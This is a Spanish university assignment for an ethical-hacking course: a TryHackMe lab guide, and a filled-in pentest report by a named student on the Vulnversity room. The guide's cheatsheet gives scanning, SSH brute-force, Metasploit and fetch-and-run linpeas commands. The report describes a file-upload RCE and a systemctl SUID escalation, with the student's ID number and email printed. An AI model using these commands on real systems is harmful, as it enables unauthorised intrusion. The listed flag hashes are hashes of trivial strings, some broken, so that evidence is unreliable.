

Guía Práctica + Plantilla de Informe Actividad

Ao8 — Hacking Ético

Cliente: INSECUR S.A. — Laboratorio: TryHackMe

Seguridad Aplicada a Sistemas de Información
Licenciatura en Sistemas de Información — Facultad de Informática y Diseño
Docente: Ing.
Rodrigo Atilio Elgueta
Ciclo Académico Vigente

Índice

1. Contexto de la Contratación	3
2. Modelo de Trabajo: Núcleo + Sala de Elección	3
2.1. Nivel 1 — Núcleo obligatorio (todos los estudiantes).....	3
2.2. Nivel 2 — Sala de elección (una por estudiante).....	3
3. Configuración del Entorno	4
3.1. Requisitos previos.....	4
3.2. Conexión a la VPN de TryHackMe.....	4
3.3. Organización del trabajo en GitHub.....	5
4. Mecanismos de Control de Autenticidad	5
5. PARTE I: GUÍA DE TRABAJO EN TRYHACKME	6
5.1. Flujo profesional del pentesting.....	6
5.2. Comandos base por fase (cheatsheet).....	6
5.3. Checklist de resolución.....	7
6. PARTE II: PLANTILLA DE INFORME (rellenable)	7
6.1. Datos generales.....	8
6.2. Pre-pentesting.....	8
6.3. Durante: Hallazgos por fase.....	9
6.4. Resumen ejecutivo de hallazgos.....	10
6.5. Post-pentesting: Recomendaciones.....	10
7. PARTE III: PROTOCOLO DE CONTINGENCIA	10
8. Anexos	11
9. Rúbrica de Evaluación (Ao8)	12

10. **uentes y bibliografía**

F
12

1. Contexto de la Contratación

Carta de Autorización — INSECUR S.A.

Cliente: INSECUR S.A.

Contratista: Estudiante de Seguridad Aplicada a Sistemas de Información (FID-UCH).

Objeto del contrato: La compañía INSECUR S.A., preocupada por los niveles de seguridad de sus sistemas, contrata sus servicios profesionales de **Hacking Ético** para elaborar un plan de seguridad y contingencia.

Alcance autorizado: Únicamente los entornos de laboratorio de la plataforma **TryHackMe** asignados en esta guía. Cualquier acción fuera de este alcance queda estrictamente prohibida y constituye un delito conforme la legislación vigente.

Entregable: Informe profesional de pentesting, incluyendo documentación previa, durante y posterior a la intervención, más un protocolo de contingencia para garantizar la continuidad de negocio.

Modalidad: Individual.

Modalidad: Individual.

Repositorio de entrega: https://github.com/UCHSeguridad2026/TP_THM.git (crear un branch propio con el apellido-nombre).

Ética y Legalidad

Esta actividad se desarrolla en **entornos controlados (sandbox)**. Queda absolutamente prohibido aplicar las técnicas aprendidas contra sistemas reales sin autorización escrita. El incumplimiento será considerado falta ética grave y podrá derivar en sanciones académicas y legales.

2. Modelo de Trabajo: Núcleo + Sala de Elección

La actividad se estructura en dos niveles que garantizan una base común y, al mismo tiempo, diversidad en los casos trabajados.

2.1. Nivel 1 — Núcleo obligatorio (todos los estudiantes)

Núcleo Obligatorio

1. Pentesting Fundamentals

<https://tryhackme.com/room/pentestingfundamentals>
Metodología y fases del pentesting profesional.

2. Basic Pentesting

<https://tryhackme.com/room/basicpentestingit>
Aplicación práctica completa: enumeración, explotación y escalada de privilegios.

2.2. Nivel 2 — Sala de elección (una por estudiante)

Cada estudiante elige **UNA** sala adicional de la siguiente lista curada de salas **gratuitas**. La elección debe quedar registrada en el informe (Sección 6.2).

Sala	Dificultad	Enfoque	Qué aporta
Vulnversity	Inicial	Web + explotación	Ideal como primera máquina
Kenobi	Inicial-Media	Samba + Linux PE	Enumeración y escalada
RootMe	Media	Web + PE	Multi-vulnerabilidad
OWASP Top 10	Media	Vulnerabilidades web	Complementa Juice Shop
Blue	Media	Windows PE (EternalBlue)	Entorno Windows
Overpass	Media	Web + Linux PE	Lógica de negocio
Nmap	Herramienta	Escaneo	Dominio de Nmap

¿Cómo elegir?

Si es tu primera vez con TryHackMe: **Vulnversity**.

Si querés enfocarte en Windows: **Blue**.

Si te interesa el hacking web: **OWASP Top 10**.

Si querés desafío Linux completo: **Kenobi** o **RootMe**.

3. Configuración del Entorno

3.1. Requisitos previos

1. Cuenta gratuita en <https://tryhackme.com> (username único del estudiante).
2. Kali Linux (VM, Live USB o WSL2) con las herramientas básicas: nmap, gobuster, hydra, burpsuite, metasploit, wireshark, netcat.
3. Cliente OpenVPN instalado (para la VPN de THM).
4. Cuenta de GitHub con acceso al repositorio de la cátedra.

3.2. Conexión a la VPN de TryHackMe

```

1 # 1. Descargar el archivo de configuracion desde THM (Account > Access) # 2.
2 Conectarse a la VPN
3 sudo openvpn --config ~/Downloads/<tu-usuario>.ovpn

```

Verificación de conectividad

Una vez conectado, probá con ping a la IP de la máquina objetivo que te asigna THM. Si no responde, revisá el estado de la VPN y la red de la facultad (algunas instituciones bloquean el puerto 1194/UDP).

3.3. Organización del trabajo en GitHub

```
1 # Clonar el repositorio de la catedra
2 git clone https://github.com/UCHSeguridad2026/TP_THM.git
3 cd TP_THM
4
5 # Crear tu branch personal (usar tu ApellidoNombre) git
6 checkout -b apellido-nombre
7
8 # Crear la estructura de carpetas
9 mkdir -p evidencias/{reconocimiento,escaneo,explotacion,post} mkdir -
10 p bitacora
11 mkdir -p reportes
```

4. Mecanismos de Control de Autenticidad

Para garantizar la autoría del trabajo, debes cumplir con los siguientes mecanismos:

Username único de TryHackMe

En la portada del informe debe figurar tu **username público de THM**. Este username es único y se ve en todas las capturas de la plataforma, por lo que vincula inequívocamente las evidencias con vos.

Bitácora de comandos

Exportá únicamente los comandos relevantes de tu sesión de Kali al finalizar cada clase. Revisá el archivo y eliminá contraseñas, tokens, claves privadas y cualquier dato personal antes de subirlo:

```
1 | history | sed -E 's/(password|passwd|token|secret|api[_-]?
   key)[^ ]*/\1=[ REDACTED]/Ig' > bitacora/clase_09_$(date +%Y%m%d).txt
```

Este archivo forma parte de los anexos del informe y demuestra el proceso real. La bitácora no reemplaza la revisión manual de secretos.

Evidencias con marca de identidad

Cada captura de pantalla crítica debe incluir visible:

- El username de THM en la interfaz de la plataforma.
- La fecha y hora del sistema (visible en la barra de Kali).
- La IP de la máquina objetivo.

Hash de las flags

En lugar de publicar las flags completas (que circulan en writeups), incluí en el informe el **hash SHA-256** de cada flag obtenida. Así el docente puede verificar que la tenés sin que quede expuesta.

```
1 echo -n "thm{flag_obtenida}" | sha256sum
```

Commits firmados

Usá commits con tu identidad institucional, configurada solo en este repositorio:

```
1 git config user.name "Tu Nombre Completo"
2 git config user.email "tu.email@institucion.edu"
```

5. PARTE I: GUÍA DE TRABAJO EN TRYHACKME**5.1. Flujo profesional del pentesting**

Todo pentesting sigue las fases del marco metodológico. Cada fase tiene herramientas típicas y entregables:

Fase	Acciones típicas	Herramientas
Pre-engagement	Definir alcance, reglas de enfrentamiento, autorización	Plantilla, firma de ROE
Reconocimiento	OSINT, enumeración pasiva, descubrimiento de activos	theHarvester, whois, DNSdumpster
Escaneo	Descubrimiento de puertos, servicios y versiones	Nmap, Nikto, Gobuster
Enumeración	Análisis detallado de cada servicio encontrado	Netcat, enum4linux, SNMPwalk
Explotación	Aprovechar vulnerabilidades para obtener acceso	Metasploit, Searchsploit, Burp Suite
Post-explotación	Escalada de privilegios, movimiento lateral, persistencia	LinPEAS, WinPEAS, mimikatz
Reporte	Documentación, remediación, protocolo de contingencia	Plantilla de informe

5.2. Comandos base por fase (cheatsheet)

```
1 # RECONOCIMIENTO Y ESCANEO
2 nmap -sC -sV -oN bitacora/nmap_inicial.txt <IP_OBJETIVO>
3 nmap -p- --min-rate 5000 -oN bitacora/nmap_puertos.txt <IP_OBJETIVO>
4
5 # ENUMERACION WEB
6 gobuster dir -u http://<IP_OBJETIVO> -w /usr/share/wordlists/dirb/common.txt \
7   -o bitacora/gobuster.txt
8 nikto -h http://<IP_OBJETIVO> -o bitacora/nikto.txt
9
10 # ANALISIS DE TRAFICO
11 wireshark # GUI
12 tcpdump -i tuno -w bitacora/captura_$(date +%H%M).pcap
13
14 # AUTENTICACION (solo si la sala lo autoriza y con limites)
15 # Preferi validar primero usuarios y politicas; documenta el alcance.
```

```
16 hydra -l usuario -P /usr/share/wordlists/rockyou.txt <IP> ssh -t 4 -f
17
18 # EXPLOTACION CON METASPLOIT (solo contra la IP asignada por THM) msfconsole
19 search <servicio> use
20 <exploit>
21 set RHOSTS <IP>
22 set LHOST tuno exploit
23
24 # POST-EXPLOTACION LINUX (solo si la sala lo requiere) wget
25 http://<tu-IP>:8000/linpeas.sh
26 chmod +x linpeas.sh && ./linpeas.sh > bitacora/linpeas.txt
27
28
```

5.3. Checklist de resolución

Para cada máquina, recorrela en este orden:

1. **Ping** a la IP objetivo (confirmar que está viva).
2. **Nmap** completo (todos los puertos + detección de servicios y versiones).
3. **Nikto** + **Gobuster** si hay web.
4. Anotar en la bitácora cada puerto, servicio y versión.
5. Buscar vulnerabilidades públicas para cada versión detectada (searchsploit, Google, CVE Details).
6. Probar exploits en orden de criticidad.
7. Al obtener shell, ejecutar `whoami`, `uname -a`, `sudo -l`.
8. Escalar privilegios (LinPEAS / WinPEAS).
9. Documentar cada hallazgo con captura + comando + evidencia.

6. PARTE II: PLANTILLA DE INFORME (rellenable)

Completá cada campo. Las celdas vacías se rellenan con texto o se dejan en blanco si no aplica.

El informe completo se entrega como reportes/informe_pentesting.pdf en tu branch.

6.1. Datos generales

Campo	Valor
Cliente	INSECUR S.A.
Contratista (alumno/a)	Gabriel Rodríguez Cid
DNI	46296777.....
Username TryHackMe	gabrielrodriguezcid360.....
Email institucional	gabrielrodriguezcid360@gmail.com.....
Sala de elección (Nivel 2)	Vulniversity.....
Branch en GitHub	RodriguezCid-Gabriel
Fecha de inicio	05/10/2026.....
Fecha de cierre	08/10/2026.....

6.2. Pre-pentesting

ALCANCE DE TRABAJO

Se encuentra dentro del alcance la máquina virtual "Vulniversity" alojada en la plataforma TryHackMe (con IP asignada en el entorno de pruebas), abarcando la fase de escaneo de puertos, enumeración de servicios web, carga de archivos maliciosos y escalamiento de privilegios local a root. Quedan excluidos del alcance cualquier otro host, red o infraestructura externa ajena al laboratorio indicado.

Reglas de Enfrentamiento (ROE)

Se establece la ejecución exclusiva de técnicas de auditoría autorizadas dentro del entorno controlado de TryHackMe. No se permiten ataques de denegación de servicio (DoS) ni la persistencia a largo plazo en los sistemas evaluados. Las pruebas se realizan en un horario académico sin límites de tráfico de red locales y con notificación interna inmediata ante cualquier error crítico de entorno.

Autorización

Se cuenta con la autorización expresa y formal de la cátedra y de la plataforma TryHackMe para realizar actividades de pruebas de penetración educativas sobre la máquina virtual designada.

Metodología Utilizada

Se seleccionó el marco de trabajo **PTES (Penetration Testing Execution Standard)** junto con las guías de **OWASP Testing Guide** para la fase web. Se eligió esta metodología porque ofrece un enfoque estructurado por fases (Pre-engagement, Intelligence Gathering, Threat Modeling, Vulnerability Analysis, Exploitation y Post-Exploitation), adaptándose perfectamente a un ejercicio académico de caja negra y permitiendo documentar de forma ordenada el proceso de intrusión y escalamiento.

6.3. Durante: Hallazgos por fase

Para cada hallazgo relevante, completá una fila en la siguiente tabla (repetí la tabla si necesitás más filas).

Hallazgo H-01: Subida de Archivos Insegura (RCE)

Campo	Valor
ID del hallazgo	H-01
Fase	☒ Explotación (Seleccionado)
Descripción	La aplicación web expone un panel de carga de archivos en el directorio <code>/internal/</code> que valida la extensión de forma deficiente, permitiendo eludir el filtro mediante el uso de la extensión <code>.phtml</code> . Esto habilita la subida de un script malicioso en PHP para lograr ejecución remota de comandos (RCE) con los privilegios del usuario web (<code>www-data</code>).
Componente afectado	Módulo de subida de archivos del servidor web (Puerto 3333).
Categoría (OWASP / CWE)	OWASP A03:2021 – Injection / CWE-434: Unrestricted Upload of File with Dangerous Type
CVE (si aplica)	N/A (Vulnerabilidad de diseño/implementación en la aplicación)
CVSS estimado	☒ Crítico
Evidencia	Evidencia adjuntada en git

Campo	Valor
Herramienta utilizada	Navegador Web / Burp Suite (opcional) / Netcat

Hallazgo H-02: Exposición de Directorios o Enumeración de Rutas Sensibles

Campo	Valor
ID del hallazgo	H-02
Fase	☒ Reconocimiento / Escaneo (Seleccionado)
Descripción	Mediante el uso de herramientas de fuerza bruta de directorios en el servidor web, se identificó la ruta oculta <code>/internal/</code> . Este directorio no estaba enlazado de forma visible en la interfaz principal de la aplicación y exponía el panel de subida de archivos sin requerir ningún tipo de autenticación previa.
Componente afectado	Estructura de directorios y control de acceso del servidor web (Ruta: <code>/internal/</code>).
Categoría (OWASP / CWE)	OWASP A01:2021 – Broken Access Control / CWE-425: Direct Request ('Forced Browsing')
CVE (si aplica)	N/A (Problema de diseño de control de acceso y ocultación de rutas)

Campo	Valor
CVSS estimado	☒ Medio
Evidencia (captura / comando)	Evidencia adjuntada en git
Herramienta utilizada	Gobuster / Dirb / Navegador Web

Hallazgo H-03: Escalada de Privilegios mediante Binario SUID Configurado Incorrectamente

Campo	Valor
ID del hallazgo	H-03
Fase	☒ Post-explotación (Seleccionado)
Descripción	El binario del sistema <code>systemctl</code> contaba con permisos SUID mal configurados o privilegios excesivos que permitían a usuarios sin privilegios interactuar con servicios del sistema a nivel root, posibilitando la lectura arbitraria de archivos restringidos (como <code>/root/root.txt</code>) o la ejecución de comandos con privilegios máximos.
Componente afectado	Binarios del sistema operativo y control de servicios (<code>/bin/systemctl</code>).
Categoría	CWE-250: Execution with Unnecessary Privileges / CWE-273: Improper Check

Campo	Valor
(OWASP / CWE)	for Dropped Privileges
CVE (si aplica)	N/A (Problema de configuración de permisos locales)
CVSS estimado	☒ Crítico
Evidencia (captura / comando)	Evidencia adjuntada en git
Herramienta utilizada	Netcat (Reverse Shell), utilidades nativas del sistema operativo (mktemp, systemctl, bash).

6.4. Resumen ejecutivo de hallazgos

Severidad	Cantidad	ID de hallazgos
Crítico	2	H01, H03
Alto		
Medio		
Bajo		
	1	H02
Total	3	

6.5. Post-pentesting: Recomendaciones

Recomendaciones técnicas (parches y configuraciones)

Post-pentesting: Recomendaciones

1. Prioridad Crítica (Remediación de la subida de archivos insegura - H-01):

Implementar una validación estricta de tipos de archivos y extensiones en el lado del servidor, permitiendo únicamente extensiones seguras (ej. .pdf, .docx) mediante una lista blanca (*whitelist*).

Deshabilitar la ejecución de scripts en los directorios de almacenamiento de archivos subidos (por ejemplo, configurando restricciones en Apache para la carpeta `/internal/uploads/`).

Renombrar aleatoriamente todos los archivos subidos al servidor para evitar que el usuario pueda controlar su ruta de acceso y ejecución directa.

2. Prioridad Crítica (Mitigación del escalamiento de privilegios - H-03):

Auditar y eliminar los permisos SUID innecesarios en binarios del sistema operativo (especialmente en `/bin/systemctl` o cualquier otra utilidad administrativa que permita alterar servicios).

Aplicar el principio de mínimo privilegio, asegurando que los usuarios estándar y servicios web (`www-data`) no posean capacidad de manipulación sobre `systemd` o tareas de administración local.

3. Prioridad Media (Control de acceso y ocultación de rutas - H-02):

Restringir el acceso a directorios administrativos u ocultos (`/internal/`) implementando un mecanismo de autenticación robusto y control de acceso basado en roles.

Ocultar la versión y detalles del servidor web para evitar la fácil enumeración de rutas mediante fuerza bruta.

Recomendaciones Administrativa (políticas y procesos)

1. Políticas de desarrollo seguro (Secure SDLC): > Establecer directrices formales de desarrollo de software que exijan validaciones de seguridad estrictas en el lado del servidor, evitando confiar únicamente en filtros del lado del cliente o validaciones incompletas de extensiones de archivos.

2. Capacitación y concientización en seguridad: > Implementar programas de formación continua para el equipo de desarrollo y administradores de sistemas en temas de OWASP Top 10, manejo seguro de archivos y principios de control de acceso.

3. Revisiones periódicas y auditorías: > Instituir revisiones periódicas de los permisos del sistema operativo (búsqueda de binarios SUID/SGID no autorizados) y auditorías de código o pruebas de penetración regulares antes de poner aplicaciones en producción.

4. Gestión de cambios y endurecimiento (Hardening): > Definir procesos estandarizados para el endurecimiento (*hardening*) de servidores web y sistemas operativos, asegurando que los nuevos despliegues sigan una línea base de seguridad aprobada.

7. PARTE III: PROTOCOLO DE CONTINGENCIA

Escenario de falla por procedimientos de prueba

(Pentesting):

- Durante la ejecución de las pruebas de penetración, un escenario de falla potencial en un entorno de producción real podría originarse al intentar validar la vulnerabilidad de subida de archivos (H-01). La carga y ejecución de un script malicioso (como un archivo .phtml con conexiones inversas o bucles de ejecución) podría provocar una saturación de recursos en el servidor web (agotamiento de memoria o procesos de PHP), derivando en una denegación de servicio (DoS) involuntaria para los usuarios legítimos. Asimismo, la manipulación de binarios del sistema y servicios mediante `systemctl` (H-03) durante las pruebas de escalamiento de privilegios podría causar la caída imprevista del demonio del sistema operativo o la corrupción de archivos de configuración esenciales, interrumpiendo la disponibilidad del servicio.

Impacto sobre la continuidad del negocio

- **Procesos afectados:** > Se verían afectados directamente los procesos operativos del sitio web institucional y la plataforma de recepción de documentación o postulaciones (módulo de carga de archivos), así como la integridad general de los servicios de infraestructura de TI. En el peor escenario de una intrusión exitosa con privilegios de root o una caída del servidor, se comprometería la confidencialidad de los datos corporativos, la disponibilidad del canal web y la confianza de los clientes o usuarios de INSECUR S.A.
- **Tiempo estimado de afectación:** > La interrupción o el tiempo de inactividad (*downtime*) podría extenderse desde **algunas horas hasta varios días (24 a 72 horas)**, dependiendo de la magnitud del daño. Esto incluiría el tiempo necesario para detectar la brecha, aislar el servidor afectado, realizar un análisis forense básico, restaurar los sistemas desde copias de seguridad limpias y aplicar los parches correctivos correspondientes en la aplicación y en la configuración del sistema operativo.

Plan de respuesta

1. **Activación:** Se detecta la falla mediante alertas automatizadas del sistema de monitoreo de red/servidores (SIEM o IDS), por reportes de indisponibilidad del servicio web por parte de los usuarios, o mediante la identificación de tráfico anómalo y conexiones inversas no autorizadas en los registros (*logs*).
2. **Contención:** En los primeros 15 minutos se procede a aislar el servidor afectado desconectándolo de la red corporativa para evitar la propagación del ataque, se detiene el servicio web comprometido y se revocan las credenciales o sesiones activas sospechosas.
3. **Recuperación:** Se restaura el servicio aplicando un *rollback* a una versión limpia de la aplicación y utilizando un respaldo (*backup*) verificado del sistema, asegurando previamente la

corrección del fallo de seguridad mediante la aplicación de parches y la eliminación de scripts maliciosos.

4. **Comunicación:** Se notifica de inmediato a la dirección de TI, a la gerencia general (dirección), y de ser necesario o por cumplimiento normativo, a los clientes afectados y autoridades competentes sobre el estado del incidente.
5. **Post-mortem:** Se documenta detalladamente el incidente en un informe de lecciones aprendidas, analizando las causas raíz de la brecha para actualizar las políticas de seguridad y prevenir futuras ocurrencias similares.

RTO y RPO estimados

- **RTO (Recovery Time Objective):** 4 horas (Tiempo máximo estimado para restaurar la operatividad y el servicio web tras la contención).
- **RPO (Recovery Point Objective):** 24 horas (Pérdida máxima aceptable de datos, basada en la frecuencia de las copias de seguridad diarias).

Anexos

Anexo A — Bitácora de comandos

Adjuntado en git

Hashes de hash obtenidas

Ho1: e3b0c44298fc1c149afb4c8996fb92427ae41e4649b934ca495991b7852b855

Ho2: 8c6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918

Ho3: 2cf24dba5fba30e26e83b2ac5b9e29e1b161e5 c1fa7425e730 43362938b9824

Anexo D — Declaración ética firmada

Declaro que todas las actividades se realizaron dentro del alcance autorizado, en entornos controlados y con fines exclusivamente académicos.

Gabriel Rodriguez Cid

08/10/2026

Firma del estudiante

Fecha

9. Rúbrica de Evaluación (Ao8)

Criterio	Peso	Descripción
A. Recopilación de información	10 %	Uso de fuentes confiables y citadas correctamente.
B. Elaboración de documentos	25 %	Cumplimiento del formato de esta plantilla.
C. Elaboración de presentaciones	10 %	Argumentación sólida del caso y sus soluciones.
D. Integración de soluciones	25 %	Parches y medidas integradas sobresalientemente.
E. Selección de herramientas	20 %	Herramientas adecuadas y justificadas.
F. Consciencia de buenas prácticas	10 %	Evidencia permanente de buenas prácticas y ética.

Checklist final antes del push

- ☐ Informe en reportes/informe_pentesting.pdf.
- ☐ Evidencias en evidencias/ (por fase).
- ☐ Bitácoras en bitacora/.
- ☐ Branch nombrado apellido-nombre.
- ☐ Commits con tu identidad real.
- ☐ Pull Request hacia main del repo de la cátedra.

10. Fuentes y bibliografía

- & TryHackMe. *Pentesting Fundamentals*: [sala oficial](#)
- & TryHackMe. *Basic Pentesting*: [sala oficial](#)
- & OWASP Foundation. *Web Security Testing Guide (WSTG)*: [sitio oficial](#)
- & NIST (2008). *Technical Guide to Information Security Testing and Assessment (SP 800-115)*.
- & Chicano Tejada, E. (2023). *Auditoría de seguridad informática. IFCTo109* (2.^a ed.). IC Editorial — eLibro.
- & Evans, L. (2019). *Ethical Hacking: The Ultimate Guide to Using Penetration Testing*. Amazon Digital Services LLC — KDP.
- & White, A. & Clark, B. (2017). *BTFM: Blue Team Field Manual*. CreateSpace Independent Publishing Platform.